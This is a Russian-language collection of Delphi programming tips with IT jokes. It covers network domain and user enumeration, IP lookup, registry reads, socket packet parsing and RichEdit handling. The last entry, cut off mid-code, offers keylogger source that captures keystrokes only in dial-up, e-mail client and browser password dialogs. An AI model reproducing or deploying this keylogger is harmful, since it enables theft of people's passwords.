| Бог есть. Он просто администрит другой домен... |
Переменная List заполняется списком доменов. Функция возвращает код ошибки обращения к сети.
function FillNetLevel(xxx: PNetResource; list: TStrings): Word;
type
PNRArr = ^TNRArr;
TNRArr = array[0..59] of TNetResource;
var
x: PNRArr;
tnr: TNetResource;
I: integer;
EntrReq,
SizeReq,
twx: Integer;
WSName: string;
begin
Result := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY,
RESOURCEUSAGE_CONTAINER, xxx, twx);
if Result = ERROR_NO_NETWORK then
Exit;
if Result = NO_ERROR then
begin
New(x);
EntrReq := 1;
SizeReq := SizeOf(TNetResource) * 59;
while (twx < > 0) and
(WNetEnumResource(twx, EntrReq, x, SizeReq) <> ERROR_NO_MORE_ITEMS) do
begin
for i := 0 to EntrReq - 1 do
begin
Move(x^[i], tnr, SizeOf(tnr));
case tnr.dwDisplayType of
RESOURCEDISPLAYTYPE_DOMAIN:
begin
if tnr.lpRemoteName < > '' then
WSName := tnr.lpRemoteName
else
WSName := tnr.lpComment;
list.Add(WSName);
end;
else
FillNetLevel(@tnr, list);
end;
end;
end;
Dispose(x);
WNetCloseEnum(twx);
end;
end;
|
Получение имени компьютера в локальной сети по его IP адресу.
Автор: Savva WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение имени компьютера в локальной сети по его IP адресу
Получение имени компьютера в локальной сети по его IP адресу.
Зависимости: SysUtils, Winsock
Автор: savva, savva@nm.ru, ICQ:126578975, Орел
Copyright: Сапронов Алексей (Savva)
Дата: 6 июня 2002 г.
***************************************************** }
function IPAddressToNetworkName(IPAddr: string): string;
var
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
WSAData: TWSAData;
begin
WSAStartup($101, WSAData);
SockAddrIn.sin_addr.s_addr := inet_addr(PChar(IPAddr));
HostEnt := gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);
if HostEnt <> nil then
begin
result := StrPas(Hostent^.h_name)
end
else
begin
result := '';
end;
end;
Пример использования:
ShowMessage(IPAddressToNetworkName('ХХХ.ХХХ.ХХХ.ХХХ'));
Получение сетевого имени пользователя.
| Защита от "дурака" спасает только от неизобретательного дурака. |
Вы можете попробовать этот код. Я без проблем использовал его под Netware LAN в течение долгого времени. Работа программы зависит от наличия NWCALLS.DLL на машине пользователя, но если он использовал сеть хоть раз, данная библиотека должна присутствовать на его машине.
unit GetLogin;
{
Данный модуль инкапсулирует несколько внешних
функций библиотеки NWCALLS.DLL
Создан на основе кода Григория Трубецкого
Модуль содержит функции, возвращающие Netware User ID
и полное имя пользователя.
}
interface
uses
SysUtils, Messages, Dialogs;
function GetUserLogin: string;
function GetUserFullName(SomeUser: string): string;
implementation
type
NWTimeStamp = record
Year: byte;
Month: byte;
Day: byte;
Hour: byte;
Minute: byte;
Second: byte;
DayOfWeek: byte;
end;
{Netware API - требуется NWCALLS.DLL}
function NWGetDefaultConnectionID(var Connection: word): word;
far; external 'NWCALLS';
function NWGetConnectionNumber(Connection: word; var ConnectionNumber:
word): word;
far; external 'NWCALLS';
function NWGetConnectionInformation(Connection: word;
ConnectionNumber: word;
ObjectName: pchar;
var ObjectType: word;
var ObjectID: word;
var LoginTime: NWTimeStamp): word;
far; external 'NWCALLS';
function NWReadPropertyValue(Connection: word;
ObjectName: pChar;
ObjectType: word;
PropertyName: pChar;
DataSetIndex: byte;
DataBuffer: pChar;
var More: byte;
var Flags: byte): word;
far; external 'NWCALLS';
{ конец секции работы с Netware API }
function GetUserLogin: string;
var
ConnectionID: word;
ConnectionNumber: word;
RC: word;
Name: array[0..50] of Char;
ObjectType: word;
ObjectID: word;
LoginTime: NWTimeStamp;
begin
RC := NWGetDefaultConnectionID(ConnectionID);
RC := NWGetConnectionNumber(ConnectionID, ConnectionNumber);
RC := NWGetConnectionInformation(ConnectionID,
ConnectionNumber,
Name,
ObjectType,
ObjectID,
LoginTime);
Result := StrPas(Name);
end;
function GetUserFullName(SomeUser: string): string;
{Реально имя пользователя является свойством 'IDENTIFICATON'.
Вы должны вызывать NWReadPropertyValue с параметрами (между прочим) вашего ConnectionID,
имени объекта (такое же, как и логин пользователя, сетевое имя которого мы пытаемся узнать)
и свойство name, которое нам необходимо получить, в нашем случае 'IDENTIFICATION'
(это и есть искомая величина - полное имя пользователя).}
var
ConnectionID: word;
RC: word;
Name: array[0..50] of Char;
ObjectType: word;
PropName: array[0..14] of Char;
DataSetIndex: byte;
FullName: array[0..127] of Char;
More: byte;
Flags: byte;
begin
RC := NWGetDefaultConnectionID(ConnectionID);
ObjectType := 256; {пользователь}
StrPCopy(PropName, 'IDENTIFICATION');
DataSetIndex := 1;
StrPCopy(Name, SomeUser);
RC := NWReadPropertyValue(ConnectionID,
Name,
ObjectType,
PropName,
DataSetIndex,
FullName,
More,
Flags);
if RC = 35324 then
MessageDlg('Пользователь ' + SomeUser + ' на этом сервере не обнаружен!',
mtError, [mbOK], 0);
Result := StrPas(FullName);
end;
end.
|
Автоматическое получение следующего имени файла в каталоге.
Автор: Igor Kovalevsky WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Автоматическое получение следующего имени файла в каталоге
Функция предоставляет Вам каждый раз новое имя файла,
а если список файлов исчерпан, начинает перебор снова.
Может пригодиться при написании Вашего собственного
слайдшоу с фотографиями или в похожих задачах, где
важно не повторить до конца списка уже воспроизведённый файл.
Зависимости: Windows, Messages, SysUtils, Classes, DIALOGS;
Автор: Igor Kovalevsky, pc-ambulance@mail.ru, Владикавказ
Copyright: Igor Kovalevsky
Дата: 1 июня 2002 г.
***************************************************** }
function GetNextFileName(Path: string): string;
const
ListFileName = 'ListFile.lst';
FileMask = '*.*'
var
SearchRec: TSearchRec;
begin
with TStringList.Create do
begin
if FileExists(ListFileName) then
begin
LoadFromFile(ListFileName);
end;
if FindFirst(IncludeTrailingBackslash(Path) + FileMask,
faAnyFile and not faDirectory,
SearchRec) = 0 then
begin
// Редкий случай, когда цикл repeat..until
// на что-то годится
repeat
Result := SearchRec.Name;
if (FindNext(SearchRec) <> 0) then
begin
Clear;
end;
until (IndexOf(Result) = -1);
Add(Result);
FindClose(SearchRec);
end
else
begin
Result := '';
end;
SaveToFile(ListFileName);
Free;
end;
end;
Пример использования:
ShowMessage(GetNextFileName('C:\Windows\'));
Как получить число и список всех компонентов, расположенных на TNoteBook.
| Warp 4 спрашивает у хозяина: - Хозяяяин, а у меня в роду была DesqView? - Нет, не было. - Хозяяяин, а Windows 3.1 у меня в роду не было? - Нет, конечно не было. - Хозяяяяин, а почему же тогда я такой тормозноооой? |
procedure TForm1.Button1Click(Sender: TObject);
var
n, p: integer;
begin
ListBox1.Clear;
with Notebook1 do
for n := 0 to ControlCount - 1 do
with TPage(Controls[n]) do
begin
ListBox1.Items.Add('Notebook Page: ' + TPage(Notebook1.Controls[n]).Caption);
for p := 0 to ControlCount - 1 do
ListBox1.Items.Add(Controls[p].name);
ListBox1.Items.Add(EmptyStr);
end;
end;
|
Как узнать имя домена Windows NT-2000.
| - Мы с другом поставили Windows' 2000 и тормознули крутейший PentiumIII-600! |
function GetNTDomainName: string;
var
hReg: TRegistry;
begin
hReg := TRegistry.Create;
hReg.RootKey := HKEY_LOCAL_MACHINE;
hReg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', false );
Result := hReg.ReadString( 'DefaultDomainName' );
hReg.CloseKey;
hReg.Destroy;
end;
|
Получить список зарегистрированных под NT пользователей.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// The NetUserEnum function provides information about all user accounts on a server.
type
USER_INFO_1 = record
usri1_name: LPWSTR;
usri1_password: LPWSTR;
usri1_password_age: DWORD;
usri1_priv: DWORD;
usri1_home_dir: LPWSTR;
usri1_comment: LPWSTR;
usri1_flags: DWORD;
usri1_script_path: LPWSTR;
end;
lpUSER_INFO_1 = ^USER_INFO_1;
function NetUserEnum(ServerName: PWideChar;
Level,
Filter: DWORD;
var Buffer: Pointer;
PrefMaxLen: DWORD;
var EntriesRead,
TotalEntries,
ResumeHandle: DWORD): Longword; stdcall; external 'netapi32.dll';
function NetApiBufferFree(pBuffer: PByte): Longint; stdcall; external
'netapi32.dll';
{...}
procedure TForm1.Button1Click(Sender: TObject);
var
EntiesRead: DWORD;
TotalEntries: DWORD;
UserInfo: lpUSER_INFO_1;
lpBuffer: Pointer;
ResumeHandle: DWORD;
Counter: Integer;
NetApiStatus: LongWord;
begin
ResumeHandle := 0;
repeat
// NetApiStatus :=
// NetUserEnum(PChar('\\NT-Domain'), 1, 0, lpBuffer, 0,EntiesRead, TotalEntries, ResumeHandle);
NetApiStatus := NetUserEnum(nil, 1, 0, lpBuffer, 0, EntiesRead,
TotalEntries, ResumeHandle);
UserInfo := lpBuffer;
for Counter := 0 to EntiesRead - 1 do
begin
listbox1.Items.Add(WideCharToString(UserInfo^.usri1_name) + ' --> ' +
WideCharToString(UserInfo^.usri1_comment));
Inc(UserInfo);
end;
NetApiBufferFree(lpBuffer);
until (NetApiStatus <> ERROR_MORE_DATA);
end;
Как получить количество цветов в системной палитре.
Оформил: DeeCo
Функция GetNumColors возвращает количество цветов для актуально выбранного разрешения экрана.
function GetNumColors: LongInt;
var
BPP: Integer;
DC: HDC;
begin
DC := CreateDC('DISPLAY', nil, nil, nil);
if DC <> 0 then
begin
try
BPP := GetDeviceCaps(DC, BITPIXEL) * GetDeviceCaps(DC, PLANES);
finally
DeleteDC(DC);
end;
case BPP of
1: Result := 2;
4: Result := 16;
8: Result := 256;
15: Result := 32768;
16: Result := 65536;
24: Result := 16777216;
end;
end
else
Result := 0;
end;
Получение интерфейса объекта из OleVariant.
| Microsoft выпускает новый многосерийный триллер: OLE OLE 2 OLE Возвращается |
В примерах Delphi по использованию COM-объектов, как правило, используется примерно следующая конструкция:
var _ComServer: variant; begin _ComServer := CreateComObject(CLSID_ComServer); // что-то делаем с COM-объектом _ComServer.DoSomething; end; |
Здесь после создания объекта вызывается некоторый гипотетический метод созданного объекта - DoSomething. После создания объекта можно также изменять значения его свойств, передавать его в качестве параметра в другие методы и процедуры и пр. Единственное видимое неудобство заключается в том, что при использовании переменной типа вариант компилятор не в состоянии проверить синтаксическую корректность обращений к объекту и, соответственно, в редакторе Delphi не работает on-line подстановка (когда вы, например, вводите точку после имени переменной объектного типа, редактор выводит окно с перечнем наиболее подходящих свойств и методов объекта).
Применение переменных типа интерфейс устраняют это неудобство. Достаточно написать так (в предположении, что действительно существует интерфейс IMyInterface):
var _ComServer: variant; begin _ComServer := CreateComObject(CLSID_ComServer); // что-то делаем с COM-объектом _ComServer.DoSomething; end; |
Кроме того, что компилятор теперь совершенно четко понимает, какого типа переменная используется и что с ней можно делать, "за кулисами" происходит еще и повышение быстродействия работы с объектом, т.к. в первом случае вся работа с объектом осуществляется опосредованно через метод Invoke его интерфейса IDispatch (любознательные читатели могут более подробно прочитать про IDispatch в справочной системе Delphi и MSDN).
Если же объект передается в какой-либо модуль через переменную (параметр) типа Variant (OleVariant), то, к сожалению, Delphi опять возвращает все на круги своя (см. пример 1). Для того, чтобы получить из Variant требуемый типизованный интерфейс, достаточно выполнить простейшее преобразование:
procedure MyProc(_MyObject: variant); var _ComServer: IMyInterface; begin _ComServer := IMyInterface(TVarData(_MyObject).VUnknown); // что-то делаем с COM-объектом _ComServer.DoSomething; end; |
Можно усилить контроль за передаваемым объектом, проверяя тип данных в variant:
procedure MyProc(_MyObject: variant);
var
_ComServer: IMyInterface
begin
if (VarType(_MyObject) and varUnknown) = varUnknown then
begin
_ComServer := IMyInterface(TVarData(_MyObject).VUnknown);
// что-то делаем с COM-объектом
_ComServer.DoSomething;
end;
end;
|
Можно использовать еще более строгую проверку наличия в variant ожидаемого интерфейса:
procedure MyProc(_MyObject: variant);
var
_ComServer: IMyInterface;
_IUnknown: IUnknown;
begin
if (VarType(_MyObject) and varUnknown) = varUnknown then
begin
_IUnknown := IUnknown(TVarData(_MyObject).VUnknown);
if _IUnknown.QueryInterface(IID_IMyInterface, _ComServer) = S_OK then
// что-то делаем с COM-объектом
_ComServer.DoSomething;
end;
end;
|
Получаем имена ODBC-источников.
uses Registry;
procedure TForm1.GetDataSourceNames(System: Boolean);
var
reg: TRegistry;
begin
ListBox1.Items.Clear;
reg := TRegistry.Create;
try
if System then
reg.RootKey := HKEY_LOCAL_MACHINE
else
reg.RootKey := HKEY_CURRENT_USER;
if reg.OpenKey('\Software\ODBC\ODBC.INI\ODBC Data Sources', False) then
begin
reg.GetValueNames(ListBox1.Items);
end;
finally
reg.CloseKey;
FreeAndNil(reg);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
//Системные DSNs
GetDataSourceNames(True);
//Пользовательские DSNs
GetDataSourceNames(False);
end;
|
Получение информации о типе и версии операционной системы.
Автор: Игорь Шевченко WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение информации о типе и версии операционной системы
Опеределение типа установленной операционной системы
Зависимости: Windows
Автор: Игорь Шевченко, whitefranz@hotmail.com, Москва
Copyright: Игорь Шевченко
Дата: 26 апреля 2002 г.
***************************************************** }
unit HSWinFuncs;
interface
uses
Windows;
const
VER_NT_WORKSTATION = 0;
VER_NT_DOMAIN_CONTROLLER = 1;
VER_NT_SERVER = 2;
VER_SUITE_SMALLBUSINESS = 1;
VER_SUITE_ENTERPRISE = 2;
VER_SUITE_BACKOFFICE = 4;
VER_SUITE_COMMUNICATIONS = 8;
VER_SUITE_TERMINAL = $10;
VER_SUITE_SMALLBUSINESS_RESTRICTED = $20;
VER_SUITE_EMBEDDEDNT = $40;
VER_SUITE_DATACENTER = $80;
VER_SUITE_SINGLEUSERTS = $100;
VER_SUITE_PERSONAL = $200;
VER_SUITE_BLADE = $400;
type
TOsVersionInfoExA = packed record
old: TOsVersionInfoA;
wServicePackMajor: Word;
wServicePackMinor: Word;
{
wSuiteMask
Набор битовых флагов, определяющих компоненты Windows
VER_SUITE_BACKOFFICE Установлен компонент Microsoft BackOffice.
VER_SUITE_BLADE Установлен компонент Windows .NET Web Server.
VER_SUITE_DATACENTER Установлена Windows 2000 или компонент Windows .NET
Datacenter Server
VER_SUITE_ENTERPRISE Установлена Windows 2000 Advanced Server или компонент
Windows .NET Enterprise Server.
VER_SUITE_PERSONAL Установлена Windows XP Home Edition.
VER_SUITE_SMALLBUSINESS Установлен Microsoft Small Business Server.
VER_SUITE_SMALLBUSINESS_RESTRICTED Установлен Microsoft Small Business
Server с ограничительной лицензией для клиентов
VER_SUITE_TERMINAL Установлен компонент Terminal Services.
}
wSuiteMask: Word;
{wProductType
Дополнительная информация о типе операционной системы
VER_NT_WORKSTATION Операционная система Windows NT 4.0 Workstation,
Windows 2000 Professional,
Windows XP Home Edition, или
Windows XP Professional.
VER_NT_DOMAIN_CONTROLLER Операционная система является контроллером домена.
VER_NT_SERVER Операционная система является сервером.
}
wProductType: Byte;
wReserved: Byte;
end;
function WhatWindowsIsInstalled: string;
implementation
{ Определение типа установленной операционной системы }
function WhatWindowsIsInstalled: string;
var
VerInfo: TOsVersionInfoExA;
begin
FillChar(VerInfo, sizeof(VerInfo), 0);
VerInfo.old.dwOSVersionInfoSize := Sizeof(TOsVersionInfoExA);
if not GetVersionExA(VerInfo.old) then
begin
VerInfo.old.dwOSVersionInfoSize := Sizeof(TOsVersionInfoA);
GetVersionExA(VerInfo.old);
end;
case VerInfo.old.dwPlatformId of
VER_PLATFORM_WIN32_WINDOWS:
if (Verinfo.old.dwMajorVersion = 4) and
(Verinfo.old.dwBuildNumber = 950) then
Result := 'Windows 95'
else if (Verinfo.old.dwMajorVersion = 4) and
(Verinfo.old.dwMinorVersion = 10) and
(Verinfo.old.dwBuildNumber = 1998) then
Result := 'Windows 98'
else if (Verinfo.old.dwMinorVersion = 90) then
Result := 'Windows Me';
VER_PLATFORM_WIN32_NT:
if Verinfo.old.dwMajorVersion = 3 then
Result := 'Windows NT 3.51'
else if Verinfo.old.dwMajorVersion = 4 then
Result := 'Windows NT 4.0'
else if Verinfo.old.dwMajorVersion = 5 then
if Verinfo.old.dwMinorVersion = 0 then
Result := 'Windows 2000'
else if Verinfo.old.dwMinorVersion = 1 then
Result := 'Windows XP';
VER_PLATFORM_WIN32s:
Result := 'Win32s';
end;
end;
end.
Пример использования:
procedure TfrmMain.FormCreate(Sender: TObject); begin WindowsTypeEdit.Text := WhatWindowsIsInstalled(); end;
Получить иконку чужого окна.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
First Start Notepad.exe and run this code:
Starte zuerst Notepad.exe und fьhге dann diesen Code aus:
}
procedure TForm1.Button1Click(Sender: TObject);
var
hwindow : THandle;
H: HIcon;
begin
hwindow := FindWindow('notepad',nil);
H := CopyIcon(GetClassLong(hwindow, GCL_HICON ));
DrawIcon(Canvas.Handle, 30, 30, H);
end;
Как определить свой IP адрес.
| По нику встречают, по IP провожают. |
uses
WinSock;
function GetLocalIP: String;
const WSVer = $101;
var
wsaData: TWSAData;
P: PHostEnt;
Buf: array [0..127] of Char;
begin
Result := '';
if WSAStartup(WSVer, wsaData) = 0 then begin
if GetHostName(@Buf, 128) = 0 then begin
P := GetHostByName(@Buf);
if P <> nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
end;
WSACleanup;
end;
end;
|
Нахождения собственного IP.
Автор: http://delphi.mastak.ru
var
WSAData: TWSAData;
SockAddrIn: TSockAddrIn;
Host: PHostEnt;
// Эти переменные объявлены в Winsock.pas
begin
if WSAStartup($101, WSAData) = 0 then
begin
Host := GetHostByName(@Localname[1]);
if Host <> nil then
begin
SockAddrIn.sin_addr.S_addr := longint(plongint(Host^.h_addr_list^)^);
LocalIP := inet_ntoa(SockAddrIn.sin_addr);
end;
WSACleanUp;
end;
end;
Приём и обработка пакетов переданных методом SendText - с учётом склеенных и полученных неполностью пакетов.
Автор: VID WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Приём и обработка пакетов переданных методом SendText() -
с учётом "склеенных" и полученных неполностью пакетов.
Юнит RecvPckt предназначен для приёма текста, передаваемого с помощью метода SendText
объекта Socket:TCustomWinSocket. Данный юнит может использоваться как клиентом так
и сервером для обработки принятого пакета.
Функции данного юнита предусматривают возможность получения "склеенных" пакетов,
или пакетов, пришедших не полностью.
Тип TBuffer;
FBuffer - хранит в себе принимаемый пакет
FCurrentPacketSize = храни сведения о полной длине пакета.
Описание функций и процедур, необходимых для использования в других юнитах
Procedure ClearBuffer(var ABuffer:TBuffer);
Очищает буффер FBuffer и обнуляет значение FCurrentPacketSize;
Function ProcessReceivedPacket(var ABuffer:TBuffer; var APacket:String):Boolean;
В данную функцию передаётся полученный от клиента/сервера пакет, через аргумент APacket
Принцип работы этой функции заключается в накоплении получаемого текста в поле
FBuffer объекта ABuffer. В случае когда FBuffer будет содержать полностью весь пакет,
функция возвратит True, иначе возвращает False
Функция ОТПРАВКИ текста:
Function SendTextToSocket(Socket:TCustomWinSocket; Text:String):Integer;
Var S:String;
begin
Result := -1;
IF Text = '' then exit;
IF Socket.Connected then
begin
S:=IntToStr(Length(Text));
Result := Socket.SendText(S+'#'+Text);
end;
end;
Зависимости: sysutils
Автор: VID, snap@iwt.ru, ICQ:132234868, Махачкала
Copyright: VID
Дата: 30 сентября 2002 г.
***************************************************** }
unit RecvPckt;
interface
uses
SysUtils;
type
TReadHeaderResult = record
FPacketSize: Integer;
FPacketSizeStr: string;
FTextStartsAt: Integer;
end;
type
TBuffer = record
FBuffer: string;
FHeaderBuffer: string;
FCurrentPacketSize: Integer;
end;
procedure ClearBuffer(var ABuffer: TBuffer);
function ReadHeader(var ABuffer: TBuffer; var APacket: string):
TReadHeaderResult;
function ProcessReceivedPacket(var ABuffer: TBuffer; var APacket: string):
Boolean;
implementation
procedure ClearBuffer(var ABuffer: TBuffer);
begin
ABuffer.FBuffer := '';
ABuffer.FHeaderBuffer := '';
ABuffer.FCurrentPacketSize := 0;
end;
function ReadHeader(var ABuffer: TBuffer; var APacket: string):
TReadHeaderResult;
var
X, HBuffLen: Integer;
procedure ClearHeader;
begin
ABuffer.FHeaderBuffer := '';
end;
function CorrectPacket: Boolean;
var
I, L: Integer;
begin
X := 0;
L := Length(APacket);
for I := 1 to L do
if (APacket[I] in ['0'..'9']) then
BREAK
else if (APacket[I] = '#') and (ABuffer.FHeaderBuffer <> '') then
BREAK
else
X := I;
if X > 0 then
Delete(APacket, 1, X);
RESULT := APacket <> '';
end;
procedure GetHeader;
var
I, L: Integer;
begin
L := Length(APacket);
X := 0;
for I := 1 to L do
begin
X := I;
if (APacket[I] in ['0'..'9']) then
begin
HBuffLen := Length(ABuffer.FHeaderBuffer);
if HBuffLen > 0 then
Inc(HBuffLen);
Insert(APacket[I], ABuffer.FHeaderBuffer, HBuffLen);
end
else
Break;
end;
end;
procedure SetResultToNone;
begin
Result.FPacketSize := 0;
Result.FTextStartsAt := 0;
Result.FPacketSizeStr := '';
end;
begin
SetResultToNone;
if APacket = '' then
Exit;
if ABuffer.FCurrentPacketSize > 0 then
begin
Result.FPacketSize := ABuffer.FCurrentPacketSize;
Result.FPacketSizeStr := IntToStr(ABuffer.FCurrentPacketSize);
Result.FTextStartsAt := 1;
Exit;
end;
if not CorrectPacket then
Exit;
GetHeader;
if APacket[X] = '#' then
begin
Inc(X);
try
Result.FPacketSize := StrToInt(ABuffer.FHeaderBuffer);
except
end;
Result.FPacketSizeStr := ABuffer.FHeaderBuffer;
ClearHeader;
end
else if not (APacket[X] in ['0'..'9']) then
ClearHeader;
Result.FTextStartsAt := X;
end;
function ProcessReceivedPacket(var ABuffer: TBuffer; var APacket: string):
Boolean;
var
ReadHeaderResult: TReadHeaderResult;
NeedToCopy, DelSize: Integer;
S: string;
BuffLen: Integer;
function FullPacket: Boolean;
begin
Result := Length(ABuffer.FBuffer) = ABuffer.FCurrentPacketSize;
end;
begin
Result := True;
if APacket = '' then
Exit;
if ABuffer.FBuffer = '' then
begin
ReadHeaderResult := ReadHeader(ABuffer, APacket);
ABuffer.FCurrentPacketSize := ReadHeaderResult.FPacketSize;
S := Copy(APacket, ReadHeaderResult.FTextStartsAt,
ReadHeaderResult.FPacketSize);
DelSize := Length(ReadHeaderResult.FPacketSizeStr) +
ReadHeaderResult.FPacketSize + 1;
end
else
begin
NeedToCopy := ABuffer.FCurrentPacketSize - Length(ABuffer.FBuffer);
S := Copy(APacket, 1, NeedToCopy);
DelSize := NeedToCopy;
end;
if ABuffer.FCurrentPacketSize > 0 then
begin
BuffLen := Length(ABuffer.FBuffer);
if BuffLen > 0 then
Inc(BuffLen);
Insert(S, ABuffer.FBuffer, BuffLen);
end;
if not FullPacket then
Result := False;
if ABuffer.FHeaderBuffer = '' then
DELETE(APacket, 1, DelSize)
else
begin
APacket := '';
Result := False;
end;
end;
end.
Пример использования:
// Объявляем переменную типа TBuffer. Для каждого клиента на
// сервере должна быть объявлена отдельная переменная этого типа
var
GBuffer: TBuffer;
...
procedure TForm1.ServerClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
S: string;
begin
S := Socket.ReceiveText;
repeat
if ProcessReceivedPacket(GBuffer, S) then
begin
if GBuffer.FBuffer <> '' then
Recv.Lines.Add(GBuffer.FBuffer);
//или же передать GBuffer.FBuffer на исполнение.
ClearBuffer(GBuffer);
end;
until S = '';
end;
Получение родительской директории указанной папки.
Автор: VID WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение родительской директории указанной папки
Функция GetParentDir возвращает родительскую директорию папки, путь к которой
задан в параметре StartDirectory. Если папки StartDirectory не существует, то
функция возвратит пустую строку.
Зависимости: system, filectrl, UBPFD.TrimEx
Автор: VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright: VID
Дата: 25 апреля 2002 г.
***************************************************** }
function GetParentDir(StartDirectory: string): string;
var
x: Integer;
begin
Result := '';
if DirectoryExists(StartDirectory) = False then
exit;
StartDirectory := TrimEx(StartDirectory, '\');
if Length(StartDirectory) = 0 then
EXIT;
X := Length(StartDirectory) + 1;
repeat
X := X - 1;
until (StartDirectory[X] = '\') or (X = 1);
Result := Copy(StartDirectory, 1, X);
if Result[Length(Result)] <> '\' then
Result := Result + '\';
if DirectoryExists(Result) = False then
begin
Result := '';
EXIT;
end;
end;
Получение родительской формы компонента.
Автор: VID WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение родительской формы компонента
Функция возвращает TForm который является родительской
формой передаваемого в функцию компонента.
Зависимости: classes
Автор: VID, snap@iwt.ru, ICQ:132234868, Махачкала
Copyright: VID
Дата: 27 марта 2003 г.
***************************************************** }
function GetParentForm(Component: TComponent): TForm;
var
C: TComponent;
begin
Result := nil;
if Component = nil then
exit;
C := Component;
repeat
Component := C;
try
C := Component.Owner except C := Component;
end;
until (C is TForm) or (C = Component);
if C is TForm then
Result := C as TForm;
end;
// Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(GetParentForm(Sender as TComponent).Name);
end;
Как получить определённую часть текста из RichEdit.
| Идем тут мы с подружкой по центру в пятницу вечером, гуляем типа :))) Жалуемся друг другу на наши работы... Точнее, не жалуемся, а просто разговоры разговариваем. - У нас такие отвратительные мониторы, - говорит она, - мерцают очень сильно... - Да, - говорю я, у нас тока у Маков ничего, а у Писюков тоже дерьмовые... - СколькИ-, сколькИ- у вас писюковые?? - Маша! Я говорю ДЕРЬМОВЫЕ!!! :)))) Так родилось новое понятие - "17-дерьмовые мониторы"... |
Иногда бывает необходимо полудить только часть текста из RichEdit не выделяя его, то есть не используя свойство SelText. Ниже представлен код, который позволяет сделать это.
{Переопределяем неправильное объявление TTextRange в RichEdit.pas}
TTextRange = record
chrg: TCharRange;
lpstrText: PAnsiChar;
end;
function REGetTextRange(RichEdit: TRichEdit;
BeginPos, MaxLength: Integer): string;
{RichEdit - RichEdit control
BeginPos - абсолютное значение первого символа
MaxLength - максимально число получаемых символов}
var
TextRange: TTextRange;
begin
if MaxLength>0 then
begin
SetLength(Result, MaxLength);
with TextRange do
begin
chrg.cpMin := BeginPos;
chrg.cpMax := BeginPos+MaxLength;
lpstrText := PChar(Result);
end;
SetLength(Result, SendMessage(RichEdit.Handle, EM_GETTEXTRANGE, 0,
longint(@TextRange)));
end
else
Result:='';
end;
|
Следующую функцию можно использовать для получения слова, над которым находится курсор мышки:
function RECharIndexByPos(RichEdit: TRichEdit; X, Y: Integer): Integer;
{ функция возвращает абсолютное положение символа для данных координат курсора}
var
P: TPoint;
begin
P := Point(X, Y);
Result := SendMessage(RichEdit.Handle, EM_CHARFROMPOS, 0, longint(@P));
end;
function REExtractWordFromPos(RichEdit: TRichEdit; X, Y: Integer):=
string;
{ X, Y - координаты в rich edit }
{возвращает слово в текущих координатах курсора}
var
BegPos, EndPos: Integer;
begin
BegPos := RECharIndexByPos(RichEdit, X, Y);
if (BegPos or
(SendMessage(RichEdit.Handle, EM_FINDWORDBREAK,WB_CLASSIFY,BegPos) and
(WBF_BREAKLINE or WBF_ISWHITE) <> 0 ) then
begin
result:='';
exit;
end;
if SendMessage(RichEdit.Handle, EM_FINDWORDBREAK,WB_CLASSIFY,BegPos-1) and
(WBF_BREAKLINE or WBF_ISWHITE) = 0 then
BegPos:=SendMessage(RichEdit.Handle, EM_FINDWORDBREAK,
WB_MOVEWORDLEFT, BegPos);
EndPos:=SendMessage(RichEdit.Handle, EM_FINDWORDBREAK,
WB_MOVEWORDRIGHT, BegPos);
Result:=TrimRight(REGetTextRange(RichEdit, BegPos, EndPos - BegPos));
end;
|
Способ высосать пароли из едитов определенных программ.
| На днях увольняли сисадмина.. Директор говорит ему: - Дай системный пароль, - и подает бумашку. Сисоп записывает следующее *******, немного подумав: - A нет, еще одна снежинка. |
Вот хороший способ высосать пароли из едитов определенных программ - Достоинством метода является отсутствие необходимости читать длинющие keylog - записи, тк кейлоггинг ведется только в интересующих нас окнах (Terminal, DUN, etc...).
unit ksf;
interface
uses windows,Controls,Forms, StdCtrls, Classes, ExtCtrls;
type
Tf1 = class(TForm)
t1: TTimer;
m1: TMemo;
procedure t1t(Sender: TObject);
end;
var
f1: Tf1;
okey:byte;
KAr:array[1..88] of pchar=('-Esc-','1','2','3','4','5','6','7','8','9',
'0','-','=','bsp','-Tab-','q','w','e','r','t','y','u','i','o','p',
'[',']','#13','-Ctrl-','a','s','d','f','g','h','j','k','l',';','''','`',
'-Shift-','\','z','x','c','v','b','n','m',',','.','/','-Shift-','*',
'Alt',' ','CL','F1','F2','F3','F4','F5','F6','F7','F8','F9','F10','NL',
'SL','-Home-','-Up-','-PgUp-','-','-Left-','-*5*-','-Right-','+',
'-End-','-Down-','-PDn-','-Ins-','-Del-','','','-Unk-','F11','F12');
implementation
{$R *.DFM}
procedure Tf1.t1t(Sender: TObject);
var
key:byte;
cap0:pchar;
cap1:string;
begin
getmem(cap0,255);
GetWindowText(GetforegroundWindow,cap0,255); //title активного окна
cap1:=cap0;
freemem(cap0);
if(pos('Connect To',cap1)< > 0)or //DialUP
(pos('Установка связи',cap1)< > 0)or //DialUP
(pos('Вход в систему',cap1)< > 0)or //DialUP
(pos('EType Dialer',cap1)< > 0)or //DialUP
(pos('p Networking',cap1)< > 0)or //DialUP
(pos('p Connection',cap1)< > 0)or //DialUP
(pos('Connecting to',cap1)< > 0)or //DialUP
(pos('Connessione a',cap1)< > 0)or //DialUP
(pos('Edit User - ',cap1)< > 0)or //The Bat!
(pos('Мастер подключения к Интернету',cap1)< > 0)or //MSIE,MSOutlook,etc
(pos('сетевого пароля',cap1)< > 0)or //MSIE
